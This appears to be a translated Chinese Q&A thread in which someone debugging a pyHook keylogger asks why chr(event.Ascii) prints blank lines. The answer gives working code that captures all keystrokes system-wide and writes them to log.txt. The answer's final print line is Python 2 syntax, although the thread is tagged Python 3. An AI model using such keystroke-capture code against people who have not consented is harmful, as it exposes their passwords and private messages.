ASCII chr()没有打印任何东西

时间:2016-08-05 00:06:38

标签: python-3.x ascii

我写了一个键盘记录器,但它没有正确打印。如果我告诉它打印事件,ASCII解码(print(event.Ascii)),它会打印出该键的Ascii数值。但如果我告诉它print(chr(event.Ascii))它只打印一个空行。为什么这样,我该如何解决?

完整代码:

import pyHook, pythoncom, sys, logging

file_log = "log.txt"

def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG,format='%(message)s')
    chr(event.Ascii)
    logging.log(10, chr(event.Ascii))
    print(chr(event.Ascii))
    return True

hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

1 个答案:

答案 0 :(得分:0)

这对我有用:

import pyHook
import pythoncom
import time

log = open('log.txt', 'w')
result = ''
def OnKeyboardEvent(event):
    global result
    if event.Ascii != 13:
        result += chr(event.Ascii)
    else:
        log.write("%s\r\n" % result)
        log.flush()
        result = ''
    return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
try:
    while True:
        pythoncom.PumpWaitingMessages()
        time.sleep(0.01)
except KeyboardInterrupt:
    print "Keyboard interrupt"

它在日志文件中写入了一行文本。它的另一个优点是它可以被Ctrl+C停止。我不确定为什么你的代码不起作用。但是,您可以尝试example.py附带的pyHook脚本。

注意:通常情况下,我会尽量避免使用全局变量,但这会缩短代码。